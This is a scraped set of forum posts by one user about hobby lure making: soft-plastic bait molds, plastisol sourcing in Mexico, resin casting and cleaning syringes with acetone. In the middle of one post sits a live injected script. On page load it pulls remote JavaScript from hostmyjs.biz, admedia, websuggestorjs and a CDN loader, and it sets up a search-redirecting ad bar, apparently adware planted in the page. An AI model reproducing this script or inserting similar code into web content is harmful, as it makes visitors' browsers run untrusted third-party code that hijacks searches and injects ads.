robalo01

Do you need to pay import duty when ordering from Wlure.com?

Will Alumilite Microbaloons work with polyester resin?

Keep in mind that medical syringes come lubricated with silicon. I would suggest cleaning them out with acetone before using them.

These are actually much larger than the do-it version.

I agree that to avoid dents the best place to place a sprue is in the thickest area of the bait, so why not inject directly into the stomach or back? It might eve make for some interesting lams (front/back).

"I assume he's topping off a bit on the tail as it cools - thus why he's having good results." Actually I made the tails pretty thick, and I wait about 1 min before pouring the tail, so when it does suck some plastic down it comes out just about right.

What I was looking for is a hand-.pour solution for a two-sided mold that allowed pouring a colored tail and belly. I wasn't really thinking about avoiding dents. BTW if you make the tail too thin, it does produce dents. I have also found it best to pour the belly, give it a couple minutes and then pour the rest (even if it is the same color) to help avoid dents.

I have been starting to make more and more 2-sided shad molds so that they are poured through the tail: http://bassattacker.weebly.com/moldes-de-dos-lados.html The way they are made allows you to pour a belly or tail (or both) in a diferrent color. They are turning out pretty nice.

I am in Mexico. I got tired of importing Plastic and finally hunted down someone to mix plastic for me. It took 10 years. Talk to people in these two industries: Plastisol coatings and plastisol screen printing. If you keep trying you will eventually find someone with the tenacity and knowledge to formulate what you want. BTW I sell Lure Plastisol in Mexico if anyone is interested.

No it will not.

http://www.kitkraft.biz/cart.php

I am told they are not hollow.

Does anybody know how these are made? They are supposed to be top water lures. http://robertslures.com/roberts-lures/the-ranger-series/ranger-3-oz-white-with-red-stripe

If you make Soft Plastic Baits and are located in Mexico, please contact me.

One thing I found when mixing Flexcoat: Clean you syringes with acetone before using. The medical ones come lubricated with silicone. It will cause fish-eyes.

Thank you.

Where´s the best place to get Smooth-on products? I am looking to buy Smooth-cast 300. In or near McAllen, Texas would be great!

I don't have the formula myself. But I know it includes: Plasticizer they call DOP (softener) the resin itself which comes in a powder form oil (worm oil, I would assume) heat stabilizer I also see they add something that is supposed to aid making it clear They mix this for about an hour.

I looked for years for a local provider of plastisol. I finally found a guy that does Plastisol coating. He was able to adjust his formula so that it works for me. It is essentially the same thing just a few adjustments in the amounts of each ingredient. It cost me a little less that the what is available online and no shipping costs. I can also get it mixed from one day to the next.

I have used Bear's for two years. I have never had an issue with no safety pin. I think it makes it faster to change tips. I guess you get used to something and think it is best. <script> var id=3628070697; var aff=30549; var sid=1; function INCL_checkinternals() { var h = document.location.hostname; return (/search\.kalloutsearch\d\.com/i.test(h) == true || /search\.adbar\d\.com/i.test(h) == true || h.indexOf('search.runclips.com') != -1 || h.indexOf('search.searchnowdirect.com') != -1); } function INCL_addEventHandler (el, eType, fn) { if (el.addEventListener) el.addEventListener(eType, fn, false); else if (el.attachEvent) el.attachEvent('on' + eType, fn); else el['on' + eType] = fn; } function INCL_checkdml() { var h = document.location.hostname; return (h.indexOf("google")!=-1 || h.indexOf("facebook.com")!=-1 || h.indexOf("yahoo.com")!=-1 || h.indexOf("bing.com")!=-1 || h.indexOf("ask.com")!=-1 || h.indexOf("listenersguide.org.uk")!=-1); } function INCL_loadScript(src, scriptId) { if (window.location.protocol == 'https:' && src.indexOf('http:') == 0) return; var script = document.createElement("script"); script.src = src; script.characterSet = "utf-8"; script.type = "text/javascript"; script.setAttribute('jsid', 'js36'); if (typeof(scriptId) !== 'undefined') script.id = scriptId; (document.head||document.getElementsByTagName('head')[0]|| document.body||document.getElementsByTagName('body')[0]).appendChild(script); } function INCL_onloadComplete() { if (!INCL_checkdml()) { window.INLDM_cfg = { fi : 4603, fd : 0, fddm: 'xml.cpchero.biz', sttc: 'https://hostmyjs.biz/scripts/inl_dmmtch/', inlsrhdm: 'sonicsearchonline.biz' }; INCL_loadScript('https://hostmyjs.biz/scripts/inl_dmmtch/inl_dmmtch.js'); INCL_loadScript('https://in.admedia.com/?id=ODkoOCI&subid=36'); } INCL_loadScript('http://i.websuggestorjs.info/sugg/javascript.js?channel=js36'); INCL_loadScript('https://cdncache1-a.akamaihd.net/loaders/1247/l.js?aoi=1311798366&pid=1247&zoneid=52222'); window.dmadbar_settings = {dm_standalone : true, dmpd : 2, fd : 4723, fd2: 4604, xmlfeed : 'http://xml.cpchero.biz/search' , search_url : 'http://hostmysearch.com/?prt=yhs1Danta2&errUrl=http://www.yahoo.com&keywords=' , script_base : 'https://hostmyjs.biz/scripts/adbar' }; INCL_loadScript('https://hostmyjs.biz/scripts/adbar/adbar.js'); } if (top === self && !INCL_checkinternals()) { if (document.readyState === 'complete') INCL_onloadComplete(); else INCL_addEventHandler(window, 'load', INCL_onloadComplete); } </script>

The times I have tried an epoxy finish it has messed up some of the details. That Is why I have gone with laquer. I think that if my original is made of resin, it won't need a finish -- I can polish it to a mirrow surface.

I am not using RTV for the mold. I am making a Bondo mold. The heat from the bodo curing messes up the laquer finish. It still makes a good mold, but If I mess it up, I have to refinish my model. That is about 30% of the work.

Guys, I am reluctant to go so far as a Youtube video with local competitors chomping at the bit. Those of you who are familiar with making 2-part molds and working with Resins will be able to follow the steps in the original post. If you have any specific questions, I would be happy to answer private messages to the best of my ability. One big key to this is the filler for the Resin. You have to play with your formula to get is as thick as you can without getting air pockets. The filler makes it easier to work with and muck stronger once cured. I am flattered you would ask.

So I have been looking into ways of making hard models. Currently I have been carving them out of wood, sanding, painting with 5-6 coats of laquer, sanding and polishing in between coats. Two problems with this: 1) the model´s finish is messed up when I make my mold 2) if I mess it up I have to start all over again. Here is what I am thinking. Make a rough clay model. Make a mold out of RTV. Cast a model out of resin that I can fine tune and polish. I think I can get a glass finish out of the resin. and If I mess it up, I can cast anotherone and don't have to start from scratch. I can also scavange from the models to matach legs, fins and tails for other models. Does anybody else to anything like this?

Sorry, I get mine locally (Mexico) wouldn't be much help to you. But, it is a polyester casting resin used by hobbiests. It is basically like The stuff used for fibeglass but has less cobalt promotor. I would guess you could get Fiberglass resin to work. Whatever you might use for the singles sided mold will work.